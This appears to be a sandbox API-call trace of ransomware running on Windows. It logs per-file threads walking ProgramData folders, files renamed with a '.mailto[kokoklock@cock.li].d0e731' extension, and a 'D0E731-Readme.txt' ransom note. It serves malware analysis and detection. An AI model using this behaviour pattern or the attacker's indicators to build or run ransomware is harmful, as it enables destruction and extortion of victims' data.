ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0174.895] wcscmp (_String1="background.png", _String2=".") returned 1 [0174.895] wcscmp (_String1="background.png", _String2="..") returned 1 [0174.895] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff1880 [0174.895] wcscpy (in: _Dest=0x2ff1880, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0174.895] wcscat (in: _Dest=0x2ff1880, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0174.895] wcscat (in: _Dest=0x2ff1880, _Source="background.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" [0175.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0175.571] FindNextFileW (in: hFindFile=0x3045928, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0175.571] wcscmp (_String1="behavior.xml", _String2=".") returned 1 [0175.571] wcscmp (_String1="behavior.xml", _String2="..") returned 1 [0175.571] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xca) returned 0x2ff0bd8 [0175.571] wcscpy (in: _Dest=0x2ff0bd8, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0175.571] wcscat (in: _Dest=0x2ff0bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0175.571] wcscat (in: _Dest=0x2ff0bd8, _Source="behavior.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" [0175.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0175.572] FindNextFileW (in: hFindFile=0x3045928, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0175.572] wcscmp (_String1="watermark.png", _String2=".") returned 1 [0175.572] wcscmp (_String1="watermark.png", _String2="..") returned 1 [0175.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff1958 [0175.572] wcscpy (in: _Dest=0x2ff1958, _Source="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}" [0175.572] wcscat (in: _Dest=0x2ff1958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\" [0175.572] wcscat (in: _Dest=0x2ff1958, _Source="watermark.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" [0175.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0175.573] FindNextFileW (in: hFindFile=0x3045928, lpFindFileData=0x2f9d278 | out: lpFindFileData=0x2f9d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0175.573] FindClose (in: hFindFile=0x3045928 | out: hFindFile=0x3045928) returned 1 [0175.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d278) returned 1 [0175.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9dd70) returned 1 [0175.573] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057248) returned 1 [0175.573] RtlExitUserThread (Status=0x0) Thread: id = 2313 os_tid = 0x540 [0174.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa1ff8 [0174.896] wcscpy (in: _Dest=0x2fa1ff8, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0174.896] wcscat (in: _Dest=0x2fa1ff8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\" [0174.896] wcscat (in: _Dest=0x2fa1ff8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*" [0174.896] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d4e0 [0174.896] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045968 [0174.897] wcscmp (_String1=".", _String2=".") returned 0 [0174.897] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.897] wcscmp (_String1="..", _String2=".") returned 1 [0174.897] wcscmp (_String1="..", _String2="..") returned 0 [0174.897] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0174.897] FindClose (in: hFindFile=0x3045968 | out: hFindFile=0x3045968) returned 1 [0174.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d4e0) returned 1 [0174.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1ff8) returned 1 [0174.897] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2ef8) returned 1 [0174.897] RtlExitUserThread (Status=0x0) Thread: id = 2314 os_tid = 0xe68 [0174.901] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x76) returned 0x2f8bc10 [0174.901] wcscpy (in: _Dest=0x2f8bc10, _Source="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp" [0174.902] wcscat (in: _Dest=0x2f8bc10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\" [0174.902] wcscat (in: _Dest=0x2f8bc10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*") returned="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*" [0174.902] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d4e0 [0174.902] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045968 [0174.903] wcscmp (_String1=".", _String2=".") returned 0 [0174.903] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.903] wcscmp (_String1="..", _String2=".") returned 1 [0174.903] wcscmp (_String1="..", _String2="..") returned 0 [0174.903] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0174.903] FindClose (in: hFindFile=0x3045968 | out: hFindFile=0x3045968) returned 1 [0174.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d4e0) returned 1 [0174.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bc10) returned 1 [0174.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b590) returned 1 [0174.903] RtlExitUserThread (Status=0x0) Thread: id = 2315 os_tid = 0xdfc [0174.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6c) returned 0x3013080 [0174.906] wcscpy (in: _Dest=0x3013080, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm" [0174.906] wcscat (in: _Dest=0x3013080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\" [0174.906] wcscat (in: _Dest=0x3013080, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*" [0174.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d4e0 [0174.906] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm\\*", lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045968 [0174.907] wcscmp (_String1=".", _String2=".") returned 0 [0174.907] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.907] wcscmp (_String1="..", _String2=".") returned 1 [0174.907] wcscmp (_String1="..", _String2="..") returned 0 [0174.908] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0174.908] FindClose (in: hFindFile=0x3045968 | out: hFindFile=0x3045968) returned 1 [0174.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d4e0) returned 1 [0174.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013080) returned 1 [0174.908] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c5c8) returned 1 [0174.908] RtlExitUserThread (Status=0x0) Thread: id = 2316 os_tid = 0xe04 [0174.909] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8bc10 [0174.909] wcscpy (in: _Dest=0x2f8bc10, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old" [0174.909] wcscat (in: _Dest=0x2f8bc10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\" [0174.909] wcscat (in: _Dest=0x2f8bc10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*" [0174.909] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d4e0 [0174.909] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old\\*", lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045968 [0174.910] wcscmp (_String1=".", _String2=".") returned 0 [0174.910] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.910] wcscmp (_String1="..", _String2=".") returned 1 [0174.910] wcscmp (_String1="..", _String2="..") returned 0 [0174.910] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0174.910] FindClose (in: hFindFile=0x3045968 | out: hFindFile=0x3045968) returned 1 [0174.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d4e0) returned 1 [0174.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bc10) returned 1 [0174.910] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0174.910] RtlExitUserThread (Status=0x0) Thread: id = 2317 os_tid = 0xe08 [0174.911] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.914] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.915] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.915] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.915] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d728) returned 1 [0174.915] RtlExitUserThread (Status=0x0) Thread: id = 2318 os_tid = 0xe0c [0174.916] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.916] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.916] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d610) returned 1 [0174.916] RtlExitUserThread (Status=0x0) Thread: id = 2319 os_tid = 0xe10 [0174.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x30563e8 [0174.919] wcscpy (in: _Dest=0x30563e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0174.919] wcscat (in: _Dest=0x30563e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\" [0174.919] wcscat (in: _Dest=0x30563e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*" [0174.919] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d4e0 [0174.919] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\*", lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bf718ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bf718ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045968 [0174.920] wcscmp (_String1=".", _String2=".") returned 0 [0174.920] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bf718ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bf718ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.920] wcscmp (_String1="..", _String2=".") returned 1 [0174.920] wcscmp (_String1="..", _String2="..") returned 0 [0174.920] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf718ac, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bf718ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bf718ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.920] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.920] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.920] FindNextFileW (in: hFindFile=0x3045968, lpFindFileData=0x2f9d4e0 | out: lpFindFileData=0x2f9d4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ca52462, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca52462, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, 